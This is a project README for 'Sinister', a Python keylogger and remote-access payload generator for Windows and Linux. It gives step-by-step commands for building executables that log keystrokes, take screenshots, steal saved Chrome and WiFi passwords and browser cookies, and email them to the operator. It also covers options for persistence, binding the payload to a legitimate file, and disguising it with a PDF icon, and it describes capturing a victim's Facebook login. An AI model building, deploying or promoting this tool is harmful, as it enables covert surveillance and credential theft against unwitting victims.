Home

Awesome

<p align="center"> <img src="https://github.com/PushpenderIndia/technowlogger/blob/master/img/technowlogger-logo.png" alt="Sinister Logo" width=200 height=200/> </p> <h1 align="center">Sinister</h1> <p align="center"> <a href="https://python.org"> <img src="https://img.shields.io/badge/Python-3.7-green.svg"> </a> <a href="https://github.com/PushpenderIndia/Sinister/blob/master/LICENSE"> <img src="https://img.shields.io/badge/License-BSD%203-lightgrey.svg"> </a> <a href="https://github.com/PushpenderIndia/Sinister/releases"> <img src="https://img.shields.io/badge/Release-2.3-blue.svg"> </a> <a href="https://github.com/PushpenderIndia/Sinister"> <img src="https://img.shields.io/badge/Open%20Source-%E2%9D%A4-brightgreen.svg"> </a> </p> <p align="center"> <img src="https://github.com/PushpenderIndia/Sinister/blob/master/img/hacker-gif.gif" alt="Hacker GIF" width=200 height=200/> </p>
                    This small python script can do really awesome work.

Sinister is Keylogger Generator for Windows/Linux, which sends key-logs & screenshot via email with other juicy target info written in Python 3.

Disclaimer

<p align="center"> :computer: This project was created only for good purposes and personal use. </p>

THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. YOU MAY USE THIS SOFTWARE AT YOUR OWN RISK. THE USE IS COMPLETE RESPONSIBILITY OF THE END-USER. THE DEVELOPERS ASSUME NO LIABILITY AND ARE NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY THIS PROGRAM.

Features

Server NameSMTP ServerSMTP Port
GMAILsmtp.gmail.com587
OUTLOOKsmtp-mail.outlook.com587
YAHOOsmtp.mail.yahoo.com587
Built-in Stealer Can Steal These Things :
Chrome Browser (Saved Password)
WiFi (Saved Password)
Chrome Cookies (Login Data, Cookies, History)
Firefox Cookies (cookies.sqlite)

Note: Custom Stealer is Coded, does not relies on LaZagne

These Things are Grabbed & Sended:
Operating System
Computer Name
User Name
Public IPv4

Important

On 30 May 2022, Google has removed less secure apps feature, so instead of Gmail Password:

Tested On

Kali) Kali Linux - ROLLING EDITION

Windows) Windows 10

Windows) Windows 8.1 - Pro

Windows) Windows 7 - Ultimate

Prerequisite

How To Use in Linux

# Navigate to the /opt directory (optional)
$ cd /opt/

# Clone this repository
$ git clone https://github.com/PushpenderIndia/Sinister.git

# Navigate to Sinister folder
$ cd Sinister

# Installing dependencies
$ bash installer_linux.sh

*** Note When The Python Installer DialogBox Appear while executing installer_linux.sh ***
    * Click on custom install 
    * Select Path to : C:/Python37-32
    ### So that the python is installed in this path (Inside Wine) : ~/.wine/drive_c/Python37-32

# If you are getting any errors while executing installer_linux.sh, try to install using installer_linux.py
$ python3 installer_linux.py

$ chmod +x Sinister.py
$ python3 Sinister.py --help

# Making Payload/RAT
$ python3 Sinister.py -e youremail@gmail.com -p YourEmailPass -l -o output_file_name --icon icon_path

# Making Payload using GMAIL SMTP Server, Port Configuration (Default SMTP Server = smtp.gmail.com, Default SMTP Port = 587)
$ python3 Sinister.py -e youremail@gmail.com -p YourEmailPass -l -o output_file_name --icon icon_path

# Making Payload using OUTLOOK SMTP Server, Port Configuration
$ python3 Sinister.py -e youremail@gmail.com -p YourEmailPass -x smtp-mail.outlook.com -y 587 -l -o output_file_name --icon icon_path

# Making Payload using YAHOO SMTP Server, Port Configuration
$ python3 Sinister.py -e youremail@gmail.com -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -l -o output_file_name --icon icon_path

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

How To Use in Windows

# Install dependencies 
$ Install latest python 3.x

# Clone this repository
$ git clone https://github.com/PushpenderIndia/Sinister.git

# Go into the repository
$ cd Sinister

# Installing dependencies
$ python -m pip install -r requirements.txt

# Open Sinister.py in Text editor and Configure Line 16 WINDOWS_PYTHON_PYINSTALLER_PATH = "C:/Python37-32/Scripts/pyinstaller.exe" 

# Getting Help Menu
$ python Sinister.py --help

# Making Payload/RAT
$ python Sinister.py -e youremail@gmail.com -p YourEmailPass -w -o output_file_name --icon icon_path

# Making Payload using GMAIL SMTP Server, Port Configuration (Default SMTP Server = smtp.gmail.com, Default SMTP Port = 587)
$ python Sinister.py -e youremail@gmail.com -p YourEmailPass-w -o output_file_name --icon icon_path

# Making Payload using OUTLOOK SMTP Server, Port Configuration
$ python Sinister.py -e youremail@gmail.com -p YourEmailPass -x smtp-mail.outlook.com -y 587 -w -o output_file_name --icon icon_path

# Making Payload using YAHOO SMTP Server, Port Configuration
$ python Sinister.py -e youremail@gmail.com -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -w -o output_file_name --icon icon_path

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

How to Update

Note:- Evil File will be saved inside dist/ folder, inside Sinister/ folder

Available Arguments

Short HandFull HandDescription
-h--helpshow this help message and exit
-i INTERVAL--interval INTERVALTime between reports in seconds. default=120
-t TIME_PERSISTENT--persistence TIME_PERSISTENTBecoming Persistence After __ seconds. default=10
-x SMTP_Server--smtpCustom SMTP Server . default="smtp.gmail.com"
-y SMTP_Port--portCustom SMTP Port . default=587
-w--windowsGenerate a Windows executable.
-l--linuxGenerate a Linux executable.
-s--steal-passwordSteal Saved Password from Victim Machine [Supported OS : Windows]
-b file.txt--bind LEGITIMATE_FILE_PATH.pdfAutoBinder : Specify Path of Legitimate file. [Supported OS : Windows]
-d--debugPayload Will Run In Foreground with CMD Window, To get Appropriate Execution Error

Note : Either -w/--windows or -l/--linux must be specified

Short HandFull HandDescription
--icon ICONSpecify Icon Path, Icon of Evil File [Note : Must Be .ico]
-e EMAIL--email EMAILEmail address to send reports to.
-p PASSWORD--password PASSWORDPassword for the email address given in the -e argument.
-o OUT--out OUTOutput file name.

New Screenshots:

Getting Help

Generating payload

Getting report

Log Data is Distinguished on The Basics of Active Window Name ~ Feature Added to v1.3 & Onward

Retrives & Sends Saved Chrome Browser's Password

Retrives & Sends Saved WIFI Password

Also Refer These Old Images

~Old Screenshots:

Getting Help

Running Sinister.py Script

Building Finished

When Keylogger runs, it adds Registry to become persistence

Makes copy of itself and saved it inside Roaming

Typing Random text to test Keylogger

Report 1 sended by Sinister

Login facebook ~ Victim

Report 2 - Keylogs of facebook Credentials

Report 3 - With Screenshots

Debug Issues

Try to Run Offline Keylogger in order to test Offline Key logs capturing & Debug keylogger issues by running these commands:

Run test_key.py In both the modes [Compiled & Raw] and figure out whats the error

Run it like this : python test_key.py

Also Compile it like this: pyinstaller --onefile test_key.py --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=pynput.keyboard

After running it, Start typing something, Result will be displayed on the Command prompt after every 10 seconds

Offline keylogger's files are present in TestKeylogger Folder

1. Create a new payload with --debug flag
2. Run payload exe throught cmd [Don't Execute Payload By Double Clicking It]
3. It will now give more appropriate error in CMD, just put that issue in Issue Section

Removing Sinister in Windows:

Method 1:

Method 2:

Removing Sinister in Linux:

Contributors

<!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section --> <!-- prettier-ignore-start --> <!-- markdownlint-disable --> <table> <tr> <td align="center"> <a href="https://github.com/PushpenderIndia"> <kbd><img src="https://avatars3.githubusercontent.com/PushpenderIndia?size=400" width="100px;" alt=""/></kbd><br /> <sub><b>Pushpender Singh</b></sub> </a><br /> <a href="https://github.com/PushpenderIndia/thorse/commits?author=PushpenderIndia" title="Code"> :computer: </a> </td> <td align="center"> <a href="https://github.com/yathomasi"> <kbd><img src="https://avatars3.githubusercontent.com/yathomasi?size=400" width="100px;" alt=""/></kbd><br /> <sub><b>Thomas Kunwar</b></sub> </a><br /> <a href="https://github.com/PushpenderIndia/technowlogger/commits?author=yathomasi" title="Code"> :computer: </a> </td> <td align="center"> <a href="https://github.com/krasnova19"> <kbd><img src="https://avatars3.githubusercontent.com/krasnova19?size=400" width="100px;" alt=""/></kbd><br /> <sub><b>krasnova19</b></sub> </a><br /> <a href="https://github.com/PushpenderIndia/technowlogger/commits?author=krasnova19" title="Code"> :computer: </a> </td> <td align="center"> <a href="https://github.com/archish5"> <kbd><img src="https://avatars3.githubusercontent.com/archish5?size=400" width="100px;" alt=""/></kbd><br /> <sub><b>sarchish5</b></sub> </a><br /> <a href="https://github.com/PushpenderIndia/technowlogger/commits?author=archish5" title="Code"> :computer: </a> </td> <td align="center"> <a href="https://github.com/chiragcode11"> <kbd><img src="https://avatars3.githubusercontent.com/chiragcode11?size=400" width="100px;" alt=""/></kbd><br /> <sub><b>chiragcode11</b></sub> </a><br /> <a href="https://github.com/PushpenderIndia/technowlogger/commits?author=chiragcode11" title="Code"> :computer: </a> </td> </tr> </tr> </table> <!-- markdownlint-enable --> <!-- prettier-ignore-end --> <!-- ALL-CONTRIBUTORS-LIST:END -->

Contributions of any kind welcome!

NOTE: If you should be on the list of contributors but we forgot you, then do let us know!

TODO